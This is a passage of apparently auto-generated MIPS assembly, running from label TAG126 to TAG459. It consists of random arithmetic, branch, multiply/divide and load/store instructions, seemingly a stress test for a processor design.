mflo $1
mflo $2
TAG126:
bne $2, $2, TAG127
andi $1, $2, 2
beq $1, $2, TAG127
mflo $3
TAG127:
multu $3, $3
lui $2, 11
srav $3, $3, $2
bltz $3, TAG128
TAG128:
lb $1, 0($3)
bne $3, $1, TAG129
sll $4, $3, 9
lui $1, 5
TAG129:
mult $1, $1
mflo $1
lh $1, 0($1)
bltz $1, TAG130
TAG130:
lui $1, 3
bltz $1, TAG131
mult $1, $1
sll $0, $0, 0
TAG131:
lhu $2, 0($3)
sra $3, $2, 12
sb $3, 0($3)
mfhi $2
TAG132:
mflo $1
bgez $1, TAG133
sb $1, 0($2)
sll $3, $2, 5
TAG133:
addi $3, $3, 11
sb $3, 0($3)
divu $3, $3
srav $2, $3, $3
TAG134:
blez $2, TAG135
lhu $3, 0($2)
bgez $2, TAG135
lui $4, 15
TAG135:
bltz $4, TAG136
multu $4, $4
bgtz $4, TAG136
mult $4, $4
TAG136:
lw $2, 0($4)
addiu $3, $4, 3
lb $2, 0($2)
sub $2, $4, $4
TAG137:
lhu $3, 0($2)
mult $3, $3
mult $2, $3
bgtz $2, TAG138
TAG138:
lw $3, 0($3)
andi $2, $3, 10
mtlo $3
lb $1, 0($2)
TAG139:
lui $4, 8
mflo $4
lbu $4, 0($1)
lui $3, 4
TAG140:
bne $3, $3, TAG141
mtlo $3
slt $2, $3, $3
blez $2, TAG141
TAG141:
mtlo $2
beq $2, $2, TAG142
mtlo $2
lh $2, 0($2)
TAG142:
mfhi $2
beq $2, $2, TAG143
sh $2, 0($2)
addiu $1, $2, 12
TAG143:
bgez $1, TAG144
mfhi $2
mtlo $2
bgtz $1, TAG144
TAG144:
sb $2, 0($2)
bne $2, $2, TAG145
multu $2, $2
subu $3, $2, $2
TAG145:
sh $3, 0($3)
mtlo $3
or $1, $3, $3
mthi $3
TAG146:
multu $1, $1
bgez $1, TAG147
sb $1, 0($1)
mult $1, $1
TAG147:
lh $1, 0($1)
beq $1, $1, TAG148
lui $3, 9
lw $4, 0($1)
TAG148:
add $1, $4, $4
bltz $4, TAG149
ori $2, $1, 14
subu $3, $2, $1
TAG149:
sltiu $1, $3, 2
bne $3, $1, TAG150
sll $1, $1, 10
bgtz $1, TAG150
TAG150:
sub $2, $1, $1
lui $1, 7
sltiu $3, $1, 14
mflo $4
TAG151:
mult $4, $4
mult $4, $4
lui $4, 5
sll $0, $0, 0
TAG152:
beq $4, $4, TAG153
div $4, $4
slt $2, $4, $4
bltz $2, TAG153
TAG153:
xor $3, $2, $2
mtlo $2
lh $4, 0($2)
slt $3, $2, $2
TAG154:
addi $3, $3, 13
mflo $1
mtlo $1
lui $2, 12
TAG155:
sll $0, $0, 0
addiu $3, $3, 7
sb $3, 0($3)
mflo $1
TAG156:
bne $1, $1, TAG157
lui $4, 15
lui $3, 13
divu $1, $3
TAG157:
addiu $3, $3, 9
mult $3, $3
sll $0, $0, 0
srlv $2, $3, $3
TAG158:
addiu $2, $2, 14
mtlo $2
lw $4, -1678($2)
mthi $2
TAG159:
lui $4, 10
sra $4, $4, 7
srl $2, $4, 3
xori $2, $2, 6
TAG160:
or $4, $2, $2
multu $2, $4
mtlo $2
mfhi $2
TAG161:
sb $2, 0($2)
blez $2, TAG162
mtlo $2
mflo $1
TAG162:
lb $2, 0($1)
beq $1, $1, TAG163
lui $3, 5
xor $2, $2, $3
TAG163:
multu $2, $2
or $2, $2, $2
bne $2, $2, TAG164
sh $2, 0($2)
TAG164:
mfhi $2
srlv $3, $2, $2
subu $3, $2, $2
sw $2, 0($2)
TAG165:
bltz $3, TAG166
mtlo $3
xor $2, $3, $3
bltz $2, TAG166
TAG166:
and $2, $2, $2
sb $2, 0($2)
lui $4, 1
mfhi $3
TAG167:
xori $1, $3, 15
mtlo $3
mtlo $1
div $1, $1
TAG168:
beq $1, $1, TAG169
lb $4, 0($1)
beq $4, $4, TAG169
addu $2, $4, $1
TAG169:
mflo $4
mtlo $4
sb $2, 0($4)
beq $4, $2, TAG170
TAG170:
lbu $3, 0($4)
sb $4, 0($4)
lui $1, 11
mfhi $2
TAG171:
mthi $2
lhu $1, 0($2)
lui $4, 9
mult $1, $2
TAG172:
blez $4, TAG173
lui $1, 12
mult $4, $4
mtlo $1
TAG173:
or $3, $1, $1
sll $0, $0, 0
andi $4, $1, 7
divu $3, $3
TAG174:
sb $4, 0($4)
blez $4, TAG175
slt $2, $4, $4
sb $2, 0($2)
TAG175:
mult $2, $2
mfhi $4
bne $4, $4, TAG176
lbu $1, 0($2)
TAG176:
mthi $1
lb $3, 0($1)
sra $3, $3, 4
lui $1, 13
TAG177:
mtlo $1
sll $0, $0, 0
addiu $4, $1, 7
blez $3, TAG178
TAG178:
mthi $4
subu $1, $4, $4
lhu $2, 0($1)
lbu $2, -256($2)
TAG179:
mthi $2
sw $2, 0($2)
multu $2, $2
lbu $4, 0($2)
TAG180:
xor $1, $4, $4
lui $4, 4
blez $1, TAG181
srav $2, $1, $4
TAG181:
mtlo $2
bgtz $2, TAG182
lbu $2, 0($2)
mthi $2
TAG182:
lb $1, 0($2)
mfhi $2
lui $3, 0
bgtz $3, TAG183
TAG183:
lhu $1, 0($3)
bltz $1, TAG184
mflo $1
add $1, $1, $3
TAG184:
blez $1, TAG185
mult $1, $1
or $4, $1, $1
mthi $1
TAG185:
bgtz $4, TAG186
divu $4, $4
sb $4, 0($4)
lbu $3, 0($4)
TAG186:
sw $3, 0($3)
lui $2, 10
sll $0, $0, 0
bltz $3, TAG187
TAG187:
mult $2, $2
mflo $1
sltu $4, $1, $2
lb $1, 0($4)
TAG188:
mfhi $1
lbu $1, 0($1)
sb $1, 0($1)
bltz $1, TAG189
TAG189:
sra $2, $1, 11
nor $4, $1, $1
bgez $2, TAG190
addiu $1, $1, 3
TAG190:
mflo $3
lh $1, 0($1)
beq $1, $1, TAG191
lbu $4, 0($1)
TAG191:
mult $4, $4
lb $3, 0($4)
bne $4, $4, TAG192
srl $4, $3, 7
TAG192:
lh $4, 0($4)
sll $3, $4, 4
lw $3, 0($4)
beq $3, $3, TAG193
TAG193:
mtlo $3
bgez $3, TAG194
sb $3, 0($3)
sw $3, 0($3)
TAG194:
lhu $3, 0($3)
mult $3, $3
lui $4, 13
multu $3, $3
TAG195:
mthi $4
sltu $4, $4, $4
ori $1, $4, 11
lui $1, 13
TAG196:
beq $1, $1, TAG197
slti $3, $1, 5
mfhi $1
bgtz $3, TAG197
TAG197:
mult $1, $1
divu $1, $1
bne $1, $1, TAG198
sll $0, $0, 0
TAG198:
mthi $4
mflo $4
addiu $4, $4, 14
bgtz $4, TAG199
TAG199:
lui $4, 11
beq $4, $4, TAG200
mtlo $4
mflo $3
TAG200:
mflo $2
mult $3, $3
mfhi $1
beq $2, $1, TAG201
TAG201:
sw $1, 0($1)
mtlo $1
beq $1, $1, TAG202
mthi $1
TAG202:
sltiu $4, $1, 14
slti $2, $1, 2
sb $4, 0($4)
mtlo $4
TAG203:
beq $2, $2, TAG204
div $2, $2
bgez $2, TAG204
mflo $3
TAG204:
lb $1, 0($3)
mult $1, $1
bne $1, $1, TAG205
addu $1, $1, $1
TAG205:
sltiu $2, $1, 14
slti $1, $1, 13
lb $1, 0($2)
divu $1, $2
TAG206:
subu $4, $1, $1
mfhi $2
beq $1, $1, TAG207
lui $3, 14
TAG207:
mfhi $3
or $3, $3, $3
sb $3, 0($3)
sw $3, 0($3)
TAG208:
lw $3, 0($3)
sh $3, 0($3)
slti $3, $3, 13
lui $4, 3
TAG209:
ori $2, $4, 8
mflo $3
sll $0, $0, 0
div $2, $2
TAG210:
beq $1, $1, TAG211
lb $2, 0($1)
lw $4, 0($1)
mthi $4
TAG211:
mflo $3
mfhi $1
sra $2, $3, 12
xori $3, $4, 13
TAG212:
bne $3, $3, TAG213
sll $0, $0, 0
divu $3, $3
lui $4, 12
TAG213:
srl $3, $4, 10
mtlo $4
mflo $1
bne $4, $4, TAG214
TAG214:
mthi $1
mthi $1
mthi $1
sltu $4, $1, $1
TAG215:
slti $3, $4, 7
mflo $1
sll $0, $0, 0
bne $1, $2, TAG216
TAG216:
sllv $2, $2, $2
bne $2, $2, TAG217
sll $4, $2, 4
lw $2, 0($4)
TAG217:
srlv $3, $2, $2
lw $4, 0($2)
beq $2, $3, TAG218
lui $4, 13
TAG218:
sll $0, $0, 0
sll $0, $0, 0
sll $0, $0, 0
mflo $4
TAG219:
sll $0, $0, 0
mflo $3
bltz $3, TAG220
slti $3, $3, 1
TAG220:
ori $3, $3, 13
bgtz $3, TAG221
sb $3, 0($3)
bgtz $3, TAG221
TAG221:
lui $1, 9
sll $0, $0, 0
lb $4, 0($3)
bne $3, $4, TAG222
TAG222:
mtlo $4
lui $1, 7
lui $1, 11
mthi $1
TAG223:
mtlo $1
beq $1, $1, TAG224
nor $2, $1, $1
lb $2, 0($1)
TAG224:
mtlo $2
addu $1, $2, $2
sll $0, $0, 0
bgez $2, TAG225
TAG225:
mult $1, $1
mflo $2
divu $1, $1
mult $2, $1
TAG226:
subu $3, $2, $2
mflo $3
mthi $3
bltz $2, TAG227
TAG227:
mtlo $3
sll $0, $0, 0
lui $3, 5
multu $3, $3
TAG228:
bgtz $3, TAG229
sll $0, $0, 0
mult $4, $4
lb $3, 0($4)
TAG229:
bgtz $3, TAG230
mthi $3
lui $2, 5
multu $3, $2
TAG230:
lui $2, 3
blez $2, TAG231
mflo $1
mflo $1
TAG231:
xori $3, $1, 10
lui $4, 8
div $3, $4
ori $1, $1, 2
TAG232:
beq $1, $1, TAG233
lh $1, 0($1)
bgtz $1, TAG233
lbu $2, 0($1)
TAG233:
addiu $2, $2, 13
beq $2, $2, TAG234
sllv $4, $2, $2
srl $2, $4, 7
TAG234:
mflo $3
lui $1, 12
sll $0, $0, 0
sllv $4, $2, $3
TAG235:
sll $0, $0, 0
sll $0, $0, 0
div $4, $4
mthi $4
TAG236:
sll $0, $0, 0
lui $2, 7
sll $0, $0, 0
blez $2, TAG237
TAG237:
mthi $2
mfhi $1
srlv $4, $2, $2
or $2, $4, $4
TAG238:
sll $3, $2, 13
mflo $1
sltiu $3, $1, 1
mfhi $4
TAG239:
andi $3, $4, 8
multu $4, $4
sll $0, $0, 0
sllv $1, $3, $1
TAG240:
lb $3, 0($1)
lui $3, 9
mfhi $2
bltz $1, TAG241
TAG241:
lbu $4, 0($2)
bgtz $4, TAG242
mthi $4
xori $4, $2, 7
TAG242:
sh $4, 0($4)
xor $4, $4, $4
mtlo $4
lh $4, 0($4)
TAG243:
sll $3, $4, 12
blez $3, TAG244
mthi $3
sb $4, 0($3)
TAG244:
lbu $1, 0($3)
srav $1, $3, $3
bgtz $1, TAG245
lui $3, 5
TAG245:
mult $3, $3
ori $2, $3, 14
sll $0, $0, 0
beq $2, $2, TAG246
TAG246:
sll $0, $0, 0
sll $0, $0, 0
sll $0, $0, 0
sll $0, $0, 0
TAG247:
sll $0, $0, 0
lui $3, 0
lui $2, 0
lw $4, 0($1)
TAG248:
andi $3, $4, 12
add $4, $3, $4
mthi $3
bne $4, $3, TAG249
TAG249:
multu $4, $4
lui $2, 5
lui $1, 6
multu $1, $1
TAG250:
lui $1, 2
lui $3, 14
sll $0, $0, 0
sltiu $1, $1, 4
TAG251:
sb $1, 0($1)
lh $1, 0($1)
lui $1, 7
sll $0, $0, 0
TAG252:
sll $4, $2, 12
bgtz $2, TAG253
mtlo $4
lui $1, 15
TAG253:
bne $1, $1, TAG254
subu $3, $1, $1
sw $1, 0($3)
bne $1, $3, TAG254
TAG254:
slt $2, $3, $3
lw $1, 0($2)
xor $3, $3, $2
bltz $3, TAG255
TAG255:
addu $2, $3, $3
sra $3, $2, 1
lui $3, 3
mthi $3
TAG256:
beq $3, $3, TAG257
divu $3, $3
mthi $3
sb $3, 0($3)
TAG257:
sll $0, $0, 0
bgtz $3, TAG258
mtlo $3
multu $3, $3
TAG258:
andi $1, $3, 5
mtlo $1
lui $2, 1
mtlo $2
TAG259:
beq $2, $2, TAG260
sll $0, $0, 0
lui $1, 9
bne $4, $4, TAG260
TAG260:
lbu $1, 0($1)
mfhi $1
mfhi $1
mthi $1
TAG261:
addu $1, $1, $1
mflo $2
and $3, $1, $1
beq $3, $1, TAG262
TAG262:
mtlo $3
slt $2, $3, $3
and $1, $3, $3
lui $3, 6
TAG263:
sra $2, $3, 0
multu $3, $2
sll $0, $0, 0
beq $2, $2, TAG264
TAG264:
lui $3, 6
bltz $2, TAG265
sll $0, $0, 0
bgez $3, TAG265
TAG265:
lui $2, 2
lui $1, 12
beq $3, $2, TAG266
lui $3, 10
TAG266:
slti $2, $3, 1
sll $0, $0, 0
srlv $4, $2, $3
sub $3, $4, $2
TAG267:
xor $2, $3, $3
addi $3, $2, 5
lui $4, 11
bne $3, $3, TAG268
TAG268:
mult $4, $4
sll $0, $0, 0
beq $4, $4, TAG269
lui $3, 3
TAG269:
xori $3, $3, 10
sltiu $2, $3, 11
lui $2, 9
srl $3, $2, 6
TAG270:
andi $2, $3, 9
slti $3, $3, 13
sll $1, $3, 1
bne $3, $1, TAG271
TAG271:
mtlo $1
mthi $1
mflo $4
lhu $2, 0($1)
TAG272:
sltiu $4, $2, 15
mthi $4
lui $4, 5
mtlo $4
TAG273:
sll $0, $0, 0
mthi $4
andi $3, $4, 15
slt $3, $3, $3
TAG274:
slti $3, $3, 7
mult $3, $3
bgez $3, TAG275
mthi $3
TAG275:
mtlo $3
sb $3, 0($3)
sb $3, 0($3)
lui $1, 13
TAG276:
bgtz $1, TAG277
mult $1, $1
slt $4, $1, $1
srlv $2, $4, $4
TAG277:
beq $2, $2, TAG278
subu $3, $2, $2
blez $3, TAG278
mflo $4
TAG278:
mfhi $3
mflo $1
mult $1, $1
mthi $1
TAG279:
lhu $3, 0($1)
subu $1, $3, $3
sllv $4, $1, $3
bne $4, $1, TAG280
TAG280:
mthi $4
ori $3, $4, 6
subu $3, $4, $4
mtlo $3
TAG281:
beq $3, $3, TAG282
mthi $3
sh $3, 0($3)
andi $1, $3, 14
TAG282:
lhu $1, 0($1)
sltiu $4, $1, 15
addiu $4, $1, 3
srl $4, $1, 3
TAG283:
bgtz $4, TAG284
addiu $2, $4, 7
mfhi $1
lui $3, 11
TAG284:
sw $3, 0($3)
srlv $4, $3, $3
beq $4, $3, TAG285
subu $1, $3, $3
TAG285:
sub $2, $1, $1
multu $2, $2
andi $4, $2, 15
lh $3, 0($2)
TAG286:
lb $2, 0($3)
lui $1, 5
bne $3, $3, TAG287
multu $2, $1
TAG287:
divu $1, $1
sll $0, $0, 0
mtlo $1
div $1, $1
TAG288:
sltu $1, $1, $1
bne $1, $1, TAG289
mflo $2
beq $1, $1, TAG289
TAG289:
sllv $2, $2, $2
multu $2, $2
multu $2, $2
beq $2, $2, TAG290
TAG290:
or $4, $2, $2
lui $1, 8
sll $0, $0, 0
bltz $1, TAG291
TAG291:
sltu $3, $4, $4
lui $3, 6
sb $3, 0($4)
bne $3, $3, TAG292
TAG292:
sll $0, $0, 0
sltu $1, $3, $3
sll $0, $0, 0
lui $3, 1
TAG293:
sll $0, $0, 0
lui $2, 12
bne $3, $2, TAG294
ori $1, $2, 8
TAG294:
addu $1, $1, $1
beq $1, $1, TAG295
srl $2, $1, 6
divu $2, $1
TAG295:
mfhi $3
mult $2, $3
mtlo $3
mtlo $3
TAG296:
andi $1, $3, 5
lbu $1, 0($3)
blez $1, TAG297
ori $2, $3, 0
TAG297:
lui $4, 12
lui $1, 14
sll $0, $0, 0
sb $2, 0($2)
TAG298:
mult $1, $1
bgtz $1, TAG299
mthi $1
beq $1, $1, TAG299
TAG299:
mthi $1
mfhi $2
sll $0, $0, 0
sll $0, $0, 0
TAG300:
lui $3, 5
addiu $4, $3, 0
sll $0, $0, 0
mult $4, $3
TAG301:
lui $2, 12
or $3, $4, $4
mult $3, $4
nor $3, $4, $3
TAG302:
divu $3, $3
lui $3, 1
multu $3, $3
lui $4, 5
TAG303:
sll $0, $0, 0
mthi $4
div $4, $4
div $4, $4
TAG304:
lui $4, 8
sll $0, $0, 0
srl $1, $1, 13
mfhi $1
TAG305:
subu $4, $1, $1
sll $1, $4, 9
lui $2, 14
lw $3, 0($1)
TAG306:
bgtz $3, TAG307
lui $3, 1
bltz $3, TAG307
mtlo $3
TAG307:
slti $4, $3, 4
blez $3, TAG308
mtlo $3
sub $2, $3, $4
TAG308:
lui $3, 15
sll $0, $0, 0
sll $0, $0, 0
mtlo $3
TAG309:
multu $1, $1
bgez $1, TAG310
lui $3, 13
beq $3, $3, TAG310
TAG310:
srl $4, $3, 6
bgtz $3, TAG311
mthi $3
subu $1, $3, $4
TAG311:
sh $1, 0($1)
mult $1, $1
beq $1, $1, TAG312
addi $3, $1, 15
TAG312:
bltz $3, TAG313
mfhi $1
addiu $2, $3, 13
mtlo $1
TAG313:
mthi $2
sb $2, 0($2)
mthi $2
sb $2, 0($2)
TAG314:
bltz $2, TAG315
mtlo $2
sw $2, 0($2)
beq $2, $2, TAG315
TAG315:
lui $3, 8
blez $2, TAG316
mflo $4
lh $1, 0($2)
TAG316:
multu $1, $1
div $1, $1
blez $1, TAG317
mfhi $3
TAG317:
lui $4, 10
lui $4, 11
lui $4, 12
mfhi $1
TAG318:
mthi $1
sh $1, 0($1)
sltu $3, $1, $1
add $4, $3, $1
TAG319:
sb $4, 0($4)
lui $4, 6
mfhi $4
mult $4, $4
TAG320:
sh $4, 0($4)
bne $4, $4, TAG321
lh $4, 0($4)
ori $1, $4, 11
TAG321:
bne $1, $1, TAG322
mthi $1
multu $1, $1
lbu $4, 0($1)
TAG322:
lui $3, 5
addiu $4, $3, 0
sll $0, $0, 0
bne $4, $4, TAG323
TAG323:
ori $1, $4, 14
subu $4, $4, $1
lui $3, 6
mflo $3
TAG324:
mthi $3
mtlo $3
sb $3, 0($3)
lui $3, 9
TAG325:
sll $0, $0, 0
mflo $2
blez $3, TAG326
lui $3, 3
TAG326:
mtlo $3
multu $3, $3
addiu $3, $3, 9
bltz $3, TAG327
TAG327:
sll $0, $0, 0
bne $3, $3, TAG328
sll $0, $0, 0
sll $0, $0, 0
TAG328:
addiu $3, $3, 11
lui $4, 6
bne $3, $4, TAG329
sll $0, $0, 0
TAG329:
multu $2, $2
mthi $2
and $2, $2, $2
bgez $2, TAG330
TAG330:
mthi $2
lui $2, 12
sll $0, $0, 0
addu $2, $2, $2
TAG331:
bgtz $2, TAG332
mfhi $3
sw $2, 0($3)
mthi $3
TAG332:
mult $3, $3
slti $4, $3, 6
bltz $4, TAG333
lbu $4, 0($3)
TAG333:
mflo $2
addiu $4, $2, 12
lui $4, 0
lui $1, 2
TAG334:
sll $0, $0, 0
lbu $1, 0($4)
mtlo $1
bgtz $1, TAG335
TAG335:
lh $3, 0($1)
mult $1, $1
sb $3, 0($3)
srav $3, $3, $3
TAG336:
bltz $3, TAG337
nor $4, $3, $3
mflo $1
nor $2, $1, $4
TAG337:
xor $4, $2, $2
addu $2, $2, $4
lbu $3, 0($4)
sb $3, 0($4)
TAG338:
lbu $1, 0($3)
sh $1, 0($3)
bltz $3, TAG339
mthi $3
TAG339:
nor $4, $1, $1
beq $4, $1, TAG340
mthi $1
addu $1, $4, $1
TAG340:
mtlo $1
bne $1, $1, TAG341
mflo $3
mtlo $1
TAG341:
sra $2, $3, 15
bne $2, $3, TAG342
mflo $2
mtlo $3
TAG342:
mfhi $2
sw $2, 0($2)
lui $2, 6
mult $2, $2
TAG343:
bgtz $2, TAG344
multu $2, $2
andi $2, $2, 11
blez $2, TAG344
TAG344:
or $2, $2, $2
mthi $2
subu $4, $2, $2
lui $2, 5
TAG345:
sll $0, $0, 0
sll $0, $0, 0
nor $2, $2, $2
sll $0, $0, 0
TAG346:
multu $2, $2
mflo $2
mfhi $1
mult $2, $1
TAG347:
sll $0, $0, 0
bgtz $4, TAG348
lui $2, 4
beq $2, $2, TAG348
TAG348:
lui $2, 5
sll $0, $0, 0
mfhi $1
sb $1, 100($1)
TAG349:
div $1, $1
lbu $2, 100($1)
bgez $1, TAG350
sb $2, 100($1)
TAG350:
sh $2, -156($2)
div $2, $2
bne $2, $2, TAG351
mfhi $2
TAG351:
sb $2, 0($2)
mtlo $2
mflo $3
sll $4, $2, 8
TAG352:
lbu $1, 0($4)
lbu $2, 0($4)
nor $4, $1, $4
multu $1, $2
TAG353:
sra $2, $4, 8
sw $4, 1($2)
lh $2, 1($4)
divu $2, $2
TAG354:
slt $3, $2, $2
lbu $1, 1($2)
sh $3, 1($2)
bltz $1, TAG355
TAG355:
nor $4, $1, $1
and $2, $4, $1
bne $4, $4, TAG356
mtlo $2
TAG356:
sub $2, $2, $2
bgtz $2, TAG357
lui $3, 4
multu $3, $2
TAG357:
sll $0, $0, 0
blez $3, TAG358
nor $4, $3, $3
mflo $3
TAG358:
beq $3, $3, TAG359
ori $4, $3, 3
lui $1, 4
lh $3, 0($3)
TAG359:
bne $3, $3, TAG360
sb $3, 0($3)
sw $3, 0($3)
mflo $1
TAG360:
bgez $1, TAG361
lhu $2, 0($1)
mflo $1
lui $1, 15
TAG361:
slti $4, $1, 13
bgtz $4, TAG362
mult $1, $1
sltu $3, $1, $4
TAG362:
lw $4, 0($3)
bgtz $4, TAG363
sub $2, $3, $3
lbu $2, 0($2)
TAG363:
lui $3, 14
sltiu $1, $3, 11
bltz $1, TAG364
mflo $1
TAG364:
lui $2, 14
sw $1, 0($1)
lh $3, 0($1)
sh $2, 0($3)
TAG365:
mtlo $3
addi $3, $3, 9
lui $1, 7
mthi $3
TAG366:
lui $2, 0
bne $2, $2, TAG367
mfhi $4
addu $1, $1, $1
TAG367:
beq $1, $1, TAG368
mult $1, $1
srl $2, $1, 9
sb $2, 0($1)
TAG368:
lui $1, 1
mtlo $2
bne $2, $2, TAG369
mtlo $1
TAG369:
srl $4, $1, 8
mtlo $1
sll $0, $0, 0
beq $1, $1, TAG370
TAG370:
mflo $2
mfhi $4
bne $4, $1, TAG371
slt $1, $1, $4
TAG371:
mfhi $1
mflo $3
mflo $4
sll $0, $0, 0
TAG372:
mtlo $4
addu $4, $4, $4
lui $2, 13
lui $2, 14
TAG373:
mthi $2
sll $0, $0, 0
bgtz $2, TAG374
lui $1, 13
TAG374:
lui $1, 2
sll $0, $0, 0
addiu $3, $4, 14
mfhi $2
TAG375:
sll $0, $0, 0
xor $4, $2, $2
mtlo $4
mtlo $3
TAG376:
bne $4, $4, TAG377
mfhi $3
sltiu $2, $3, 6
div $4, $3
TAG377:
bne $2, $2, TAG378
andi $3, $2, 13
sh $2, 0($3)
lbu $1, 0($2)
TAG378:
sh $1, 0($1)
sw $1, 0($1)
lbu $4, 0($1)
sw $4, 0($1)
TAG379:
mflo $3
lui $3, 8
mtlo $4
beq $3, $3, TAG380
TAG380:
lui $2, 11
blez $2, TAG381
mflo $3
mthi $2
TAG381:
beq $3, $3, TAG382
lui $3, 13
mthi $3
mflo $1
TAG382:
beq $1, $1, TAG383
multu $1, $1
sw $1, 0($1)
sw $1, 0($1)
TAG383:
bltz $1, TAG384
sll $3, $1, 8
nor $4, $1, $1
lui $2, 13
TAG384:
bgez $2, TAG385
mfhi $4
lui $1, 15
beq $2, $1, TAG385
TAG385:
add $4, $1, $1
lui $4, 8
addi $1, $1, 12
sll $0, $0, 0
TAG386:
lui $1, 8
mflo $1
slti $2, $1, 11
sb $1, 0($1)
TAG387:
sb $2, 0($2)
sb $2, 0($2)
mthi $2
lui $1, 5
TAG388:
sll $0, $0, 0
sll $0, $0, 0
bltz $1, TAG389
mflo $2
TAG389:
bne $2, $2, TAG390
sltu $1, $2, $2
bltz $1, TAG390
mthi $2
TAG390:
andi $2, $1, 9
add $4, $1, $1
sh $1, 0($4)
mfhi $1
TAG391:
mfhi $3
bne $3, $3, TAG392
lui $4, 3
mthi $3
TAG392:
xor $1, $4, $4
sra $2, $4, 7
mthi $4
add $1, $1, $2
TAG393:
multu $1, $1
andi $4, $1, 2
bne $4, $4, TAG394
mthi $4
TAG394:
bgez $4, TAG395
subu $3, $4, $4
mult $3, $3
bne $4, $3, TAG395
TAG395:
lbu $4, 0($3)
subu $2, $4, $3
mtlo $3
mtlo $2
TAG396:
sb $2, 0($2)
beq $2, $2, TAG397
sh $2, 0($2)
andi $1, $2, 5
TAG397:
sll $0, $0, 0
sltiu $1, $3, 14
blez $3, TAG398
ori $3, $3, 9
TAG398:
bgez $3, TAG399
lbu $3, 0($3)
sub $1, $3, $3
lui $1, 2
TAG399:
lui $4, 4
bne $4, $1, TAG400
lbu $4, 0($1)
mflo $4
TAG400:
beq $4, $4, TAG401
lbu $2, 0($4)
bne $2, $2, TAG401
lui $4, 7
TAG401:
lhu $2, 0($4)
mflo $3
lui $2, 8
mtlo $2
TAG402:
sll $0, $0, 0
xor $3, $2, $2
srl $4, $2, 2
subu $4, $4, $4
TAG403:
andi $3, $4, 10
sltu $3, $4, $4
srav $3, $4, $4
andi $4, $3, 10
TAG404:
lui $3, 8
lui $1, 7
lui $2, 9
add $1, $4, $3
TAG405:
lui $4, 1
beq $1, $1, TAG406
mthi $1
ori $2, $4, 0
TAG406:
sll $0, $0, 0
mthi $3
sll $0, $0, 0
beq $2, $3, TAG407
TAG407:
lui $3, 3
mfhi $1
bne $1, $3, TAG408
lui $4, 9
TAG408:
mfhi $4
mthi $4
sra $3, $4, 12
lh $3, 0($3)
TAG409:
mtlo $3
bgtz $3, TAG410
lui $1, 7
ori $3, $3, 10
TAG410:
mtlo $3
mtlo $3
mtlo $3
multu $3, $3
TAG411:
lui $1, 9
bgez $3, TAG412
mthi $1
and $1, $1, $3
TAG412:
sll $0, $0, 0
sll $0, $0, 0
lui $3, 11
sll $0, $0, 0
TAG413:
bltz $3, TAG414
subu $2, $3, $3
beq $3, $3, TAG414
mfhi $1
TAG414:
bne $1, $1, TAG415
mfhi $3
bne $3, $3, TAG415
sll $0, $0, 0
TAG415:
lui $2, 6
addu $4, $2, $2
mflo $2
lbu $2, 0($2)
TAG416:
beq $2, $2, TAG417
subu $1, $2, $2
srl $3, $2, 12
sh $2, 0($2)
TAG417:
lui $2, 13
mtlo $3
sll $0, $0, 0
lui $2, 2
TAG418:
bltz $2, TAG419
sll $0, $0, 0
divu $2, $2
sll $0, $0, 0
TAG419:
bne $3, $3, TAG420
sll $0, $0, 0
mthi $3
lui $3, 8
TAG420:
lui $2, 1
div $2, $2
mflo $3
sll $0, $0, 0
TAG421:
mtlo $3
mtlo $3
slti $3, $3, 2
blez $3, TAG422
TAG422:
srl $4, $3, 9
slt $1, $3, $4
bne $1, $1, TAG423
div $1, $3
TAG423:
bgez $1, TAG424
mult $1, $1
lui $3, 10
multu $1, $3
TAG424:
mfhi $3
blez $3, TAG425
sb $3, 0($3)
sb $3, 0($3)
TAG425:
beq $3, $3, TAG426
and $1, $3, $3
divu $3, $3
lui $2, 7
TAG426:
sll $0, $0, 0
beq $2, $2, TAG427
lui $3, 6
lb $4, 0($4)
TAG427:
slti $1, $4, 9
bgez $1, TAG428
lbu $3, 0($1)
sh $4, 0($3)
TAG428:
mult $3, $3
sb $3, 0($3)
mfhi $2
lui $1, 8
TAG429:
bgtz $1, TAG430
nor $4, $1, $1
bltz $4, TAG430
lui $3, 12
TAG430:
beq $3, $3, TAG431
srav $4, $3, $3
mthi $4
mult $3, $3
TAG431:
multu $4, $4
mtlo $4
mflo $2
beq $2, $4, TAG432
TAG432:
sltiu $4, $2, 5
lh $4, 0($2)
lhu $4, 0($4)
bgez $2, TAG433
TAG433:
mtlo $4
sw $4, 0($4)
bgez $4, TAG434
multu $4, $4
TAG434:
sw $4, 0($4)
bgez $4, TAG435
lui $4, 6
beq $4, $4, TAG435
TAG435:
subu $4, $4, $4
lui $1, 0
mtlo $4
bne $4, $4, TAG436
TAG436:
multu $1, $1
bne $1, $1, TAG437
addiu $4, $1, 12
bgez $4, TAG437
TAG437:
mflo $3
sllv $2, $3, $4
mult $2, $3
lui $1, 13
TAG438:
beq $1, $1, TAG439
mthi $1
mtlo $1
lh $4, 0($1)
TAG439:
lbu $2, 0($4)
divu $2, $4
sw $2, 0($2)
mfhi $1
TAG440:
bgez $1, TAG441
mthi $1
andi $3, $1, 13
lbu $3, 0($1)
TAG441:
mtlo $3
mfhi $1
sw $3, 0($3)
mflo $2
TAG442:
lui $3, 5
lui $4, 12
srl $2, $3, 4
bne $4, $2, TAG443
TAG443:
andi $2, $2, 13
lh $2, 0($2)
lui $4, 10
mthi $2
TAG444:
mtlo $4
bne $4, $4, TAG445
div $4, $4
addu $4, $4, $4
TAG445:
lui $1, 11
bne $4, $1, TAG446
divu $4, $4
mfhi $3
TAG446:
sll $0, $0, 0
sll $0, $0, 0
mthi $2
mfhi $2
TAG447:
ori $4, $2, 12
bne $4, $4, TAG448
mtlo $2
mthi $2
TAG448:
lhu $3, 0($4)
mflo $4
mthi $4
blez $4, TAG449
TAG449:
mflo $3
sw $4, 0($3)
mfhi $2
bltz $2, TAG450
TAG450:
mult $2, $2
bltz $2, TAG451
mthi $2
or $1, $2, $2
TAG451:
lbu $1, 0($1)
mult $1, $1
addiu $3, $1, 15
addiu $1, $3, 11
TAG452:
srl $2, $1, 6
mtlo $2
mfhi $1
bgtz $1, TAG453
TAG453:
multu $1, $1
lhu $1, 0($1)
mfhi $1
mfhi $4
TAG454:
mfhi $4
multu $4, $4
mtlo $4
mthi $4
TAG455:
mtlo $4
mtlo $4
sltiu $3, $4, 0
blez $4, TAG456
TAG456:
subu $1, $3, $3
lui $3, 1
lh $2, 0($1)
beq $3, $2, TAG457
TAG457:
lui $2, 13
bne $2, $2, TAG458
mtlo $2
sll $0, $0, 0
TAG458:
sll $0, $0, 0
blez $3, TAG459
and $3, $3, $3
sll $0, $0, 0
TAG459:
mfhi $3
beq $3, $3, TAG460
